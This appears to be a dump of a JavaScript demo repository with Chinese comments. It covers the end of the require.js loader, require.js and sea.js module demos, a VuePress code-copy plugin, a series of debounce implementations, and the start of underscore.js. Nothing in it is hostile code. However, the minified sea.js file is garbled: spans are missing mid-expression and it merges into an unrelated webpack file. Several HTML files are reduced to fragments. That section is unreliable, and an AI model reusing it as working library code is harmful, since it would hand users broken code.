browsers will be supported, but this one was easy enough //to support and still makes sense. if (evt.type === 'load' || (readyRegExp.test((evt.currentTarget || evt.srcElement).readyState))) { //Reset interactive script so a script node is not held onto for //to long. interactiveScript = null; //Pull out the name of the module and the context. var data = getScriptData(evt); context.completeLoad(data.id); } }, /** * Callback for script errors. */ onScriptError: function (evt) { var data = getScriptData(evt); if (!hasPathFallback(data.id)) { var parents = []; eachProp(registry, function(value, key) { if (key.indexOf('_@r') !== 0) { each(value.depMaps, function(depMap) { if (depMap.id === data.id) { parents.push(key); return true; } }); } }); return onError(makeError('scripterror', 'Script error for "' + data.id + (parents.length ? '", needed by: ' + parents.join(', ') : '"'), evt, [data.id])); } } }; context.require = context.makeRequire(); return context; } /** * Main entry point. * * If the only argument to require is a string, then the module that * is represented by that string is fetched for the appropriate context. * * If the first argument is an array, then it will be treated as an array * of dependency string names to fetch. An optional function callback can * be specified to execute when all of those dependencies are available. * * Make a local req variable to help Caja compliance (it assumes things * on a require that are not standardized), and to give a short * name for minification/local scope use. */ req = requirejs = function (deps, callback, errback, optional) { //Find the right context, use default var context, config, contextName = defContextName; // Determine if have config object in the call. if (!isArray(deps) && typeof deps !== 'string') { // deps is a config object config = deps; if (isArray(callback)) { // Adjust args if there are dependencies deps = callback; callback = errback; errback = optional; } else { deps = []; } } if (config && config.context) { contextName = config.context; } context = getOwn(contexts, contextName); if (!context) { context = contexts[contextName] = req.s.newContext(contextName); } if (config) { context.configure(config); } return context.require(deps, callback, errback); }; /** * Support require.config() to make it easier to cooperate with other * AMD loaders on globally agreed names. */ req.config = function (config) { return req(config); }; /** * Execute something after the current tick * of the event loop. Override for other envs * that have a better solution than setTimeout. * @param {Function} fn function to execute later. */ req.nextTick = typeof setTimeout !== 'undefined' ? function (fn) { setTimeout(fn, 4); } : function (fn) { fn(); }; /** * Export require as a global, but only if it does not already exist. */ if (!require) { require = req; } req.version = version; //Used to filter out dependencies that are already paths. req.jsExtRegExp = /^\/|:|\?|\.js$/; req.isBrowser = isBrowser; s = req.s = { contexts: contexts, newContext: newContext }; //Create default context. req({}); //Exports some context-sensitive methods on global require. each([ 'toUrl', 'undef', 'defined', 'specified' ], function (prop) { //Reference from contexts instead of early binding to default context, //so that during builds, the latest instance of the default context //with its config gets used. req[prop] = function () { var ctx = contexts[defContextName]; return ctx.require[prop].apply(ctx, arguments); }; }); if (isBrowser) { head = s.head = document.getElementsByTagName('head')[0]; //If BASE tag is in play, using appendChild is a problem for IE6. //When that browser dies, this can be removed. Details in this jQuery bug: //http://dev.jquery.com/ticket/2709 baseElement = document.getElementsByTagName('base')[0]; if (baseElement) { head = s.head = baseElement.parentNode; } } /** * Any errors that require explicitly generates will be passed to this * function. Intercept/override it if you want custom error handling. * @param {Error} err the error object. */ req.onError = defaultOnError; /** * Creates the node for the load command. Only used in browser envs. */ req.createNode = function (config, moduleName, url) { var node = config.xhtml ? document.createElementNS('http://www.w3.org/1999/xhtml', 'html:script') : document.createElement('script'); node.type = config.scriptType || 'text/javascript'; node.charset = 'utf-8'; node.async = true; return node; }; /** * Does the request to load a module for the browser case. * Make this a separate function to allow other environments * to override it. * * @param {Object} context the require context to find state. * @param {String} moduleName the name of the module. * @param {Object} url the URL to the module. */ req.load = function (context, moduleName, url) { var config = (context && context.config) || {}, node; if (isBrowser) { //In the browser so use a script tag node = req.createNode(config, moduleName, url); node.setAttribute('data-requirecontext', context.contextName); node.setAttribute('data-requiremodule', moduleName); //Set up load listener. Test attachEvent first because IE9 has //a subtle issue in its addEventListener and script onload firings //that do not match the behavior of all other browsers with //addEventListener support, which fire the onload event for a //script right after the script execution. See: //https://connect.microsoft.com/IE/feedback/details/648057/script-onload-event-is-not-fired-immediately-after-script-execution //UNFORTUNATELY Opera implements attachEvent but does not follow the script //script execution mode. if (node.attachEvent && //Check if node.attachEvent is artificially added by custom script or //natively supported by browser //read https://github.com/requirejs/requirejs/issues/187 //if we can NOT find [native code] then it must NOT natively supported. //in IE8, node.attachEvent does not have toString() //Note the test for "[native code" with no closing brace, see: //https://github.com/requirejs/requirejs/issues/273 !(node.attachEvent.toString && node.attachEvent.toString().indexOf('[native code') < 0) && !isOpera) { //Probably IE. IE (at least 6-8) do not fire //script onload right after executing the script, so //we cannot tie the anonymous define call to a name. //However, IE reports the script as being in 'interactive' //readyState at the time of the define call. useInteractive = true; node.attachEvent('onreadystatechange', context.onScriptLoad); //It would be great to add an error handler here to catch //404s in IE9+. However, onreadystatechange will fire before //the error handler, so that does not help. If addEventListener //is used, then IE will fire error before load, but we cannot //use that pathway given the connect.microsoft.com issue //mentioned above about not doing the 'script execute, //then fire the script load event listener before execute //next script' that other browsers do. //Best hope: IE10 fixes the issues, //and then destroys all installs of IE 6-9. //node.attachEvent('onerror', context.onScriptError); } else { node.addEventListener('load', context.onScriptLoad, false); node.addEventListener('error', context.onScriptError, false); } node.src = url; //Calling onNodeCreated after all properties on the node have been //set, but before it is placed in the DOM. if (config.onNodeCreated) { config.onNodeCreated(node, config, moduleName, url); } //For some cache cases in IE 6-8, the script executes before the end //of the appendChild execution, so to tie an anonymous define //call to the module name (which is stored on the node), hold on //to a reference to this node, but clear after the DOM insertion. currentlyAddingScript = node; if (baseElement) { head.insertBefore(node, baseElement); } else { head.appendChild(node); } currentlyAddingScript = null; return node; } else if (isWebWorker) { try { //In a web worker, use importScripts. This is not a very //efficient use of importScripts, importScripts will block until //its script is downloaded and evaluated. However, if web workers //are in play, the expectation is that a build has been done so //that only one script needs to be loaded anyway. This may need //to be reevaluated if other use cases become common. // Post a task to the event loop to work around a bug in WebKit // where the worker gets garbage-collected after calling // importScripts(): https://webkit.org/b/153317 setTimeout(function() {}, 0); importScripts(url); //Account for anonymous modules context.completeLoad(moduleName); } catch (e) { context.onError(makeError('importscripts', 'importScripts failed for ' + moduleName + ' at ' + url, e, [moduleName])); } } }; function getInteractiveScript() { if (interactiveScript && interactiveScript.readyState === 'interactive') { return interactiveScript; } eachReverse(scripts(), function (script) { if (script.readyState === 'interactive') { return (interactiveScript = script); } }); return interactiveScript; } //Look for a data-main script attribute, which could also adjust the baseUrl. if (isBrowser && !cfg.skipDataMain) { //Figure out baseUrl. Get it from the script tag with require.js in it. eachReverse(scripts(), function (script) { //Set the 'head' where we can append children by //using the script's parent. if (!head) { head = script.parentNode; } //Look for a data-main attribute to set main script for the page //to load. If it is there, the path to data main becomes the //baseUrl, if it is not already set. dataMain = script.getAttribute('data-main'); if (dataMain) { //Preserve dataMain in case it is a path (i.e. contains '?') mainScript = dataMain; //Set final baseUrl if there is not already an explicit one, //but only do so if the data-main value is not a loader plugin //module ID. if (!cfg.baseUrl && mainScript.indexOf('!') === -1) { //Pull off the directory of data-main for use as the //baseUrl. src = mainScript.split('/'); mainScript = src.pop(); subPath = src.length ? src.join('/') + '/' : './'; cfg.baseUrl = subPath; } //Strip off any trailing .js since mainScript is now //like a module name. mainScript = mainScript.replace(jsSuffixRegExp, ''); //If mainScript is still a path, fall back to dataMain if (req.jsExtRegExp.test(mainScript)) { mainScript = dataMain; } //Put the data-main script in the files to load. cfg.deps = cfg.deps ? cfg.deps.concat(mainScript) : [mainScript]; return true; } }); } /** * The function that handles definitions of modules. Differs from * require() in that a string for the module should be the first argument, * and the function to execute after dependencies are loaded should * return a value to define the module corresponding to the first argument's * name. */ define = function (name, deps, callback) { var node, context; //Allow for anonymous modules if (typeof name !== 'string') { //Adjust args appropriately callback = deps; deps = name; name = null; } //This module may not have dependencies if (!isArray(deps)) { callback = deps; deps = null; } //If no name, and callback is a function, then figure out if it a //CommonJS thing with dependencies. if (!deps && isFunction(callback)) { deps = []; //Remove comments from the callback string, //look for require calls, and pull them into the dependencies, //but only if there are function args. if (callback.length) { callback .toString() .replace(commentRegExp, commentReplace) .replace(cjsRequireRegExp, function (match, dep) { deps.push(dep); }); //May be a CommonJS thing even without require calls, but still //could use exports, and module. Avoid doing exports and module //work though if it just needs require. //REQUIRES the function to expect the CommonJS variables in the //order listed below. deps = (callback.length === 1 ? ['require'] : ['require', 'exports', 'module']).concat(deps); } } //If in IE 6-8 and hit an anonymous define() call, do the interactive //work. if (useInteractive) { node = currentlyAddingScript || getInteractiveScript(); if (node) { if (!name) { name = node.getAttribute('data-requiremodule'); } context = contexts[node.getAttribute('data-requirecontext')]; } } //Always save off evaluating the def call until the script onload handler. //This allows multiple modules to be in a file without prematurely //tracing dependencies, and allows for anonymous module support, //where the module name is not known until the script onload event //occurs. If no context, use the global queue, and get it processed //in the onscript load callback. if (context) { context.defQueue.push([name, deps, callback]); context.defQueueMap[name] = true; } else { globalDefQueue.push([name, deps, callback]); } }; define.amd = { jQuery: true }; /** * Executes the text. Normally just uses eval, but can be modified * to use a better, environment-specific call. Only used for transpiling * loader plugins, not for plain JS modules. * @param {String} text the text to execute/evaluate. */ req.exec = function (text) { /*jslint evil: true */ return eval(text); }; //Set up with config info. req(cfg); }(this, (typeof setTimeout === 'undefined' ? undefined : setTimeout))); ================================================ FILE: demos/ES6/module/requirejs/vender/square.js ================================================ define(['./multiply'], function(multiplyModule) { console.log('加载了 square 模块') return {       square: function(num) { return multiplyModule.multiply(num, num) } }; }); ================================================ FILE: demos/ES6/module/seajs/index.html ================================================ sea.js

Content

================================================ FILE: demos/ES6/module/seajs/vender/add.js ================================================ define(function(require, exports, module) { console.log('加载了 add 模块') var add = function(x, y) {  return x + y; }; module.exports = {       add: add }; }); ================================================ FILE: demos/ES6/module/seajs/vender/main.js ================================================ define(function(require, exports, module) { var addModule = require('./add'); console.log(addModule.add(1, 1)) var squareModule = require('./square'); console.log(squareModule.square(3)) }); ================================================ FILE: demos/ES6/module/seajs/vender/multiply.js ================================================ define(function(require, exports, module) { console.log('加载了 multiply 模块') var multiply = function(x, y) {  return x * y; }; module.exports = {       multiply: multiply }; }); ================================================ FILE: demos/ES6/module/seajs/vender/sea.js ================================================ /*! Sea.js 3.0.0 | seajs.org/LICENSE.md */ !function(a,b){function c(a){return function(b){return{}.toString.call(b)=="[object "+a+"]"}}function d(){return A++}function e(a){return a.match(D)[0]}function f(a){for(a=a.replace(E,"/"),a=a.replace(G,"$1/");a.match(F);)a=a.replace(F,"/");return a}function g(a){var b=a.length-1,c=a.charCodeAt(b);return 35===c?a.substring(0,b):".js"===a.substring(b-2)||a.indexOf("?")>0||47===c?a:a+".js"}function h(a){var b=v.alias;return b&&x(b[a])?b[a]:a}function i(a){var b=v.paths,c;return b&&(c=a.match(H))&&x(b[c[1]])&&(a=b[c[1]]+c[2]),a}function j(a){var b=v.vars;return b&&a.indexOf("{")>-1&&(a=a.replace(I,function(a,c){return x(b[c])?b[c]:a})),a}function k(a){var b=v.map,c=a;if(b)for(var d=0,e=b.length;e>d;d++){var f=b[d];if(c=z(f)?f(a)||a:a.replace(f[0],f[1]),c!==a)break}return c}function l(a,b){var c,d=a.charCodeAt(0);if(J.test(a))c=a;else if(46===d)c=(b?e(b):v.cwd)+a;else if(47===d){var g=v.cwd.match(K);c=g?g[0]+a.substring(1):a}else c=v.base+a;return 0===c.indexOf("//")&&(c=location.protocol+c),f(c)}function m(a,b){if(!a)return"";a=h(a),a=i(a),a=h(a),a=j(a),a=h(a),a=g(a),a=h(a);var c=l(a,b);return c=h(c),c=k(c)}function n(a){return a.hasAttribute?a.src:a.getAttribute("src",4)}function o(a,b,c){var d;try{importScripts(a)}catch(e){d=e}b(d)}function p(a,b,c){var d=Y.createElement("script");if(c){var e=z(c)?c(a):c;e&&(d.charset=e)}q(d,b,a),d.async=!0,d.src=a,bb=d,ab?_.insertBefore(d,ab):_.appendChild(d),bb=null}function q(a,b,c){function d(c){a.onload=a.onerror=a.onreadystatechange=null,v.debug||_.removeChild(a),a=null,b(c)}var e="onload"in a;e?(a.onload=d,a.onerror=function(){C("error",{uri:c,node:a}),d(!0)}):a.onreadystatechange=function(){/loaded|complete/.test(a.readyState)&&d()}}function r(){if(bb)return bb;if(cb&&"interactive"===cb.readyState)return cb;for(var a=_.getElementsByTagName("script"),b=a.length-1;b>=0;b--){var c=a[b];if("interactive"===c.readyState)return cb=c}}function s(a){function b(){l=a.charAt(k++)}function c(){return/\s/.test(l)}function d(){return'"'==l||"'"==l}function e(){var c=k,d=l,e=a.indexOf(d,c);if(-1==e)k=m;else if("\\"!=a.charAt(e-1))k=e+1;else for(;m>k;)if(b(),"\\"==l)k++;else if(l==d)break;o&&(r.push(a.slice(c,k-1)),o=0)}function f(){for(k--;m>k;)if(b(),"\\"==l)k++;else{if("/"==l)break;if("["==l)for(;m>k;)if(b(),"\\"==l)k++;else if("]"==l)break}}function g(){return/[a-z_$]/i.test(l)}function h(){var b=a.slice(k-1),c=/^[\w$]+/.exec(b)[0];p={"if":1,"for":1,"while":1,"with":1}[c],n={"break":1,"case":1,"continue":1,"debugger":1,"delete":1,"do":1,"else":1,"false":1,"if":1,"in":1,"instanceof":1,"return":1,"typeof":1,"void":1}[c],o=/^require\s*\(\s*(['"]).+?\1\s*\)/.test(b),o?(c=/^require\s*\(\s*['"]/.exec(b)[0],k+=c.length-2):k+=/^[\w$]+(?:\s*\.\s*[\w$]+)*/.exec(b)[0].length-1}function i(){return/\d/.test(l)||"."==l&&/\d/.test(a.charAt(k))}function j(){var b=a.slice(k-1),c;c="."==l?/^\.\d+(?:E[+-]?\d*)?\s*/i.exec(b)[0]:/^0x[\da-f]*/i.test(b)?/^0x[\da-f]*\s*/i.exec(b)[0]:/^\d+\.?\d*(?:E[+-]?\d*)?\s*/i.exec(b)[0],k+=c.length-1,n=0}if(-1==a.indexOf("require"))return[];for(var k=0,l,m=a.length,n=1,o=0,p=0,q=[],r=[];m>k;)b(),c()||(d()?(e(),n=1):"/"==l?(b(),"/"==l?(k=a.indexOf("\n",k),-1==k&&(k=a.length)):"*"==l?(k=a.indexOf("*/",k),-1==k?k=m:k+=2):n?(f(),n=0):(k--,n=1)):g()?h():i()?j():"("==l?(q.push(p),n=1):")"==l?n=q.pop():(n="]"!=l,o=0));return r}function t(a,b){this.uri=a,this.dependencies=b||[],this.deps={},this.status=0,this._entry=[]}if(!a.seajs){var u=a.seajs={version:"3.0.0"},v=u.data={},w=c("Object"),x=c("String"),y=Array.isArray||c("Array"),z=c("Function"),A=0,B=v.events={};u.on=function(a,b){var c=B[a]||(B[a]=[]);return c.push(b),u},u.off=function(a,b){if(!a&&!b)return B=v.events={},u;var c=B[a];if(c)if(b)for(var d=c.length-1;d>=0;d--)c[d]===b&&c.splice(d,1);else delete B[a];return u};var C=u.emit=function(a,b){var c=B[a];if(c){c=c.slice();for(var d=0,e=c.length;e>d;d++)c[d](b)}return u},D=/[^?#]*\//,E=/\/\.\//g,F=/\/[^/]+\/\.\.\//,G=/([^:/])\/+\//g,H=/^([^/:]+)(\/.+)$/,I=/{([^{]+)}/g,J=/^\/\/.|:\//,K=/^.*?\/\/.*?\//;u.resolve=m;var L="undefined"==typeof window&&"undefined"!=typeof importScripts&&z(importScripts),M=/^(about|blob):/,N,O,P=!location.href||M.test(location.href)?"":e(location.href);if(L){var Q;try{var R=Error();throw R}catch(S){Q=S.stack.split("\n")}Q.shift();for(var T,U=/.*?((?:http|https|file)(?::\/{2}[\w]+)(?:[\/|\.]?)(?:[^\s"]*)).*?/i,V=/(.*?):\d+:\d+\)?$/;Q.length>0;){var W=Q.shift();if(T=U.exec(W),null!=T)break}var X;if(null!=T)var X=V.exec(T[1])[1];O=X,N=e(X||P),""===P&&(P=N)}else{var Y=document,Z=Y.scripts,$=Y.getElementById("seajsnode")||Z[Z.length-1];O=n($),N=e(O||P)}if(L)u.request=o;else{var Y=document,_=Y.head||Y.getElementsByTagName("head")[0]||Y.documentElement,ab=_.getElementsByTagName("base")[0],bb;u.request=p}var cb,db=u.cache={},eb,fb={},gb={},hb={},ib=t.STATUS={FETCHING:1,SAVED:2,LOADING:3,LOADED:4,EXECUTING:5,EXECUTED:6,ERROR:7};t.prototype.resolve=function(){for(var a=this,b=a.dependencies,c=[],d=0,e=b.length;e>d;d++)c[d]=t.resolve(b[d],a.uri);return c},t.prototype.pass=function(){for(var a=this,b=a.dependencies.length,c=0;cf;f++){var g=a.deps[a.dependencies[f]];g.status0&&(d.remain+=e-1,a._entry.shift(),c--)}},t.prototype.load=function(){var a=this;if(!(a.status>=ib.LOADING)){a.status=ib.LOADING;var c=a.resolve();C("load",c);for(var d=0,e=c.length;e>d;d++)a.deps[a.dependencies[d]]=t.get(c[d]);if(a.pass(),a._entry.length)return a.onload(),b;var f={},g;for(d=0;e>d;d++)g=db[c[d]],g.statusb;b++){var d=a._entry[b];0===--d.remain&&d.callback()}delete a._entry},t.prototype.error=function(){var a=this;a.onload(),a.status=ib.ERROR},t.prototype.exec=function(){function a(b){var d=c.deps[b]||t.get(a.resolve(b));if(d.status==ib.ERROR)throw Error("module was broken: "+d.uri);return d.exec()}var c=this;if(c.status>=ib.EXECUTING)return c.exports;if(c.status=ib.EXECUTING,c._entry&&!c._entry.length&&delete c._entry,!c.hasOwnProperty("factory"))return c.non=!0,b;var e=c.uri;a.resolve=function(a){return t.resolve(a,e)},a.async=function(b,c){return t.use(b,c,e+"_async_"+d()),a};var f=c.factory,g=z(f)?f(a,c.exports={},c):f;return g===b&&(g=c.exports),delete c.factory,c.exports=g,c.status=ib.EXECUTED,C("exec",c),c.exports},t.prototype.fetch=function(a){function c(){u.request(g.requestUri,g.onRequest,g.charset)}function d(a){delete fb[h],gb[h]=!0,eb&&(t.save(f,eb),eb=null);var b,c=hb[h];for(delete hb[h];b=c.shift();)a===!0?b.error():b.load()}var e=this,f=e.uri;e.status=ib.FETCHING;var g={uri:f};C("fetch",g);var h=g.requestUri||f;return!h||gb.hasOwnProperty(h)?(e.load(),b):fb.hasOwnProperty(h)?(hb[h].push(e),b):(fb[h]=!0,hb[h]=[e],C("request",g={uri:f,requestUri:h,onRequest:d,charset:z(v.charset)?v.charset(h)||"utf-8":v.charset}),g.requested||(a?a[g.requestUri]=c:c()),b)},t.resolve=function(a,b){var c={id:a,refUri:b};return C("resolve",c),c.uri||u.resolve(c.id,b)},t.define=function(a,c,d){var e=arguments.length;1===e?(d=a,a=b):2===e&&(d=c,y(a)?(c=a,a=b):c=b),!y(c)&&z(d)&&(c=b===s?[]:s(""+d));var f={id:a,uri:t.resolve(a),deps:c,factory:d};if(!L&&!f.uri&&Y.attachEvent&&b!==r){var g=r();g&&(f.uri=g.src)}C("define",f),f.uri?t.save(f.uri,f):eb=f},t.save=function(a,b){var c=t.get(a);c.statusf;f++)b[f]=db[d[f]].exec();c&&c.apply(a,b),delete e.callback,delete e.history,delete e.remain,delete e._entry},e.load()},u.use=function(a,b){return t.use(a,b,v.cwd+"_use_"+d()),u},t.define.cmd={},a.define=t.define,u.Module=t,v.fetchedList=gb,v.cid=d,u.require=function(a){var b=t.get(t.resolve(a));return b.status webpack 原理 ================================================ FILE: demos/VuePress/vuepress-plugin-code-copy/CodeCopy.vue ================================================ ================================================ FILE: demos/VuePress/vuepress-plugin-code-copy/clientRootMixin.js ================================================ import CodeCopy from './CodeCopy.vue' import Vue from 'vue' export default { updated() { setTimeout(() => { document.querySelectorAll('div[class*="language-"] pre').forEach(el => { if (el.classList.contains('code-copy-added')) return let ComponentClass = Vue.extend(CodeCopy) let instance = new ComponentClass() instance.code = el.innerText instance.$mount() el.classList.add('code-copy-added') el.appendChild(instance.$el) }) }, 100) } } ================================================ FILE: demos/VuePress/vuepress-plugin-code-copy/index.js ================================================ const path = require('path'); module.exports = (options, ctx) => { return { name: 'vuepress-plugin-code-copy', define: { copybuttonText: options.copybuttonText || 'copy', copiedButtonText: options.copiedButtonText || "copied!" }, clientRootMixin: path.resolve(__dirname, 'clientRootMixin.js') } } ================================================ FILE: demos/VuePress/vuepress-plugin-code-copy/package.json ================================================ { "name": "vuepress-plugin-code-copy", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", "license": "ISC" } ================================================ FILE: demos/debounce/debounce1.js ================================================ /** * 事件会被频繁的触发 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = getUserAction; ================================================ FILE: demos/debounce/debounce2.js ================================================ /** * 随你怎么移动,反正你移动完1000ms内不再触发,我再执行事件 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = debounce(getUserAction, 1000); // 第一版 function debounce(func, wait) { var timeout; return function () { clearTimeout(timeout) timeout = setTimeout(func, wait); } } ================================================ FILE: demos/debounce/debounce3.js ================================================ /** * 使用正确的this指向 */ var count = 1; var container = document.getElementById('container'); function getUserAction() { console.log(this) container.innerHTML = count++; }; container.onmousemove = debounce(getUserAction, 1000); // 第二版 function debounce(func, wait) { var timeout; return function () { var context = this; clearTimeout(timeout) timeout = setTimeout(function(){ func.apply(context) }, wait); } } ================================================ FILE: demos/debounce/debounce4.js ================================================ /** * 函数传参 */ var count = 1; var container = document.getElementById('container'); function getUserAction(e) { container.innerHTML = count++; console.log(e) }; container.onmousemove = debounce(getUserAction, 1000); // 第三版 function debounce(func, wait) { var timeout; return function () { var context = this; var args = arguments; clearTimeout(timeout) timeout = setTimeout(function(){ func.apply(context, args) }, wait); } } ================================================ FILE: demos/debounce/debounce5.js ================================================ /** * 添加immediate参数,让函数能够立刻执行,仅当事件停止触发n秒后,才能重新触发 */ var count = 1; var container = document.getElementById('container'); function getUserAction(e) { container.innerHTML = count++; }; container.onmousemove = debounce(getUserAction, 1000, true); // 第四版 function debounce(func, wait, immediate) { var timeout; return function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } } } ================================================ FILE: demos/debounce/debounce6.js ================================================ /** * 添加函数返回值 */ // 第五版 function debounce(func, wait, immediate) { var timeout, result; return function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) result = func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } return result; } } var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; return '111' }; var result = debounce(getUserAction, 1000, true) container.onmousemove = function(){ var res = result(); console.log(res) } ================================================ FILE: demos/debounce/debounce7.js ================================================ /** * debounce函数可以取消 * @type {Number} */ var count = 1; var container = document.getElementById('container'); function getUserAction(e) { container.innerHTML = count++; }; var setUseAction = debounce(getUserAction, 10000, true); container.onmousemove = setUseAction; document.getElementById("button").addEventListener('click', function(){ setUseAction.cancel(); }) // 第六版 function debounce(func, wait, immediate) { var timeout, result; var debounced = function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) result = func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } return result; }; debounced.cancel = function() { clearTimeout(timeout); timeout = null; }; return debounced; } ================================================ FILE: demos/debounce/index.html ================================================ debounce
================================================ FILE: demos/debounce/underscore.js ================================================ // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. (function() { // Baseline setup // -------------- // Establish the root object, `window` in the browser, or `exports` on the server. var root = this; // Save the previous value of the `_` variable. var previousUnderscore = root._; // Save bytes in the minified (but not gzipped) version: var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype; // Create quick reference variables for speed access to core prototypes. var push = ArrayProto.push, slice = ArrayProto.slice, toString = ObjProto.toString, hasOwnProperty = ObjProto.hasOwnProperty; // All **ECMAScript 5** native function implementations that we hope to use // are declared here. var nativeIsArray = Array.isArray, nativeKeys = Object.keys, nativeBind = FuncProto.bind, nativeCreate = Object.create; // Naked function reference for surrogate-prototype-swapping. var Ctor = function(){}; // Create a safe reference to the Underscore object for use below. var _ = function(obj) { if (obj instanceof _) return obj; if (!(this instanceof _)) return new _(obj); this._wrapped = obj; }; // Export the Underscore object for **Node.js**, with // backwards-compatibility for the old `require()` API. If we're in // the browser, add `_` as a global object. if (typeof exports !== 'undefined') { if (typeof module !== 'undefined' && module.exports) { exports = module.exports = _; } exports._ = _; } else { root._ = _; } // Current version. _.VERSION = '1.8.3'; // Internal function that returns an efficient (for current engines) version // of the passed-in callback, to be repeatedly applied in other Underscore // functions. var optimizeCb = function(func, context, argCount) { if (context === void 0) return func; switch (argCount == null ? 3 : argCount) { case 1: return function(value) { return func.call(context, value); }; case 2: return function(value, other) { return func.call(context, value, other); }; case 3: return function(value, index, collection) { return func.call(context, value, index, collection); }; case 4: return function(accumulator, value, index, collection) { return func.call(context, accumulator, value, index, collection); }; } return function() { return func.apply(context, arguments); }; }; // A mostly-internal function to generate callbacks that can be applied // to each element in a collection, returning the desired result — either // identity, an arbitrary callback, a property matcher, or a property accessor. var cb = function(value, context, argCount) { if (value == null) return _.identity; if (_.isFunction(value)) return optimizeCb(value, context, argCount); if (_.isObject(value)) return _.matcher(value); return _.property(value); }; _.iteratee = function(value, context) { return cb(value, context, Infinity); }; // An internal function for creating assigner functions. var createAssigner = function(keysFunc, undefinedOnly) { return function(obj) { var length = arguments.length; if (length < 2 || obj == null) return obj; for (var index = 1; index < length; index++) { var source = arguments[index], keys = keysFunc(source), l = keys.length; for (var i = 0; i < l; i++) { var key = keys[i]; if (!undefinedOnly || obj[key] === void 0) obj[key] = source[key]; } } return obj; }; }; // An internal function for creating a new object that inherits from another. var baseCreate = function(prototype) { if (!_.isObject(prototype)) return {}; if (nativeCreate) return nativeCreate(prototype); Ctor.prototype = prototype; var result = new Ctor; Ctor.prototype = null; return result; }; var property = function(key) { return function(obj) { return obj == null ? void 0 : obj[key]; }; }; // Helper for collection methods to determine whether a collection // should be iterated as an array or as an object // Related: http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength // Avoids a very nasty iOS 8 JIT bug on ARM-64. #2094 var MAX_ARRAY_INDEX = Math.pow(2, 53) - 1; var getLength = property('length'); var isArrayLike = function(collection) { var length = getLength(collection); return typeof length == 'number' && length >= 0 && length <= MAX_ARRAY_INDEX; }; // Collection Functions // -------------------- // The cornerstone, an `each` implementation, aka `forEach`. // Handles raw objects in addition to array-likes. Treats all // sparse array-likes as if they were dense. _.each = _.forEach = function(obj, iteratee, context) { iteratee = optimizeCb(iteratee, context); var i, length; if (isArrayLike(obj)) { for (i = 0, length = obj.length; i < length; i++) { iteratee(obj[i], i, obj); } } else { var keys = _.keys(obj); for (i = 0, length = keys.length; i < length; i++) { iteratee(obj[keys[i]], keys[i], obj); } } return obj; }; // Return the results of applying the iteratee to each element. _.map = _.collect = function(obj, iteratee, context) { iteratee = cb(iteratee, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length, results = Array(length); for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; results[index] = iteratee(obj[currentKey], currentKey, obj); } return results; }; // Create a reducing function iterating left or right. function createReduce(dir) { // Optimized iterator function as using arguments.length // in the main function will deoptimize the, see #1991. function iterator(obj, iteratee, memo, keys, index, length) { for (; index >= 0 && index < length; index += dir) { var currentKey = keys ? keys[index] : index; memo = iteratee(memo, obj[currentKey], currentKey, obj); } return memo; } return function(obj, iteratee, memo, context) { iteratee = optimizeCb(iteratee, context, 4); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length, index = dir > 0 ? 0 : length - 1; // Determine the initial value if none is provided. if (arguments.length < 3) { memo = obj[keys ? keys[index] : index]; index += dir; } return iterator(obj, iteratee, memo, keys, index, length); }; } // **Reduce** builds up a single result from a list of values, aka `inject`, // or `foldl`. _.reduce = _.foldl = _.inject = createReduce(1); // The right-associative version of reduce, also known as `foldr`. _.reduceRight = _.foldr = createReduce(-1); // Return the first value which passes a truth test. Aliased as `detect`. _.find = _.detect = function(obj, predicate, context) { var key; if (isArrayLike(obj)) { key = _.findIndex(obj, predicate, context); } else { key = _.findKey(obj, predicate, context); } if (key !== void 0 && key !== -1) return obj[key]; }; // Return all the elements that pass a truth test. // Aliased as `select`. _.filter = _.select = function(obj, predicate, context) { var results = []; predicate = cb(predicate, context); _.each(obj, function(value, index, list) { if (predicate(value, index, list)) results.push(value); }); return results; }; // Return all the elements for which a truth test fails. _.reject = function(obj, predicate, context) { return _.filter(obj, _.negate(cb(predicate)), context); }; // Determine whether all of the elements match a truth test. // Aliased as `all`. _.every = _.all = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; if (!predicate(obj[currentKey], currentKey, obj)) return false; } return true; }; // Determine if at least one element in the object matches a truth test. // Aliased as `any`. _.some = _.any = function(obj, predicate, context) { predicate = cb(predicate, context); var keys = !isArrayLike(obj) && _.keys(obj), length = (keys || obj).length; for (var index = 0; index < length; index++) { var currentKey = keys ? keys[index] : index; if (predicate(obj[currentKey], currentKey, obj)) return true; } return false; }; // Determine if the array or object contains a given item (using `===`). // Aliased as `includes` and `include`. _.contains = _.includes = _.include = function(obj, item, fromIndex, guard) { if (!isArrayLike(obj)) obj = _.values(obj); if (typeof fromIndex != 'number' || guard) fromIndex = 0; return _.indexOf(obj, item, fromIndex) >= 0; }; // Invoke a method (with arguments) on every item in a collection. _.invoke = function(obj, method) { var args = slice.call(arguments, 2); var isFunc = _.isFunction(method); return _.map(obj, function(value) { var func = isFunc ? method : value[method]; return func == null ? func : 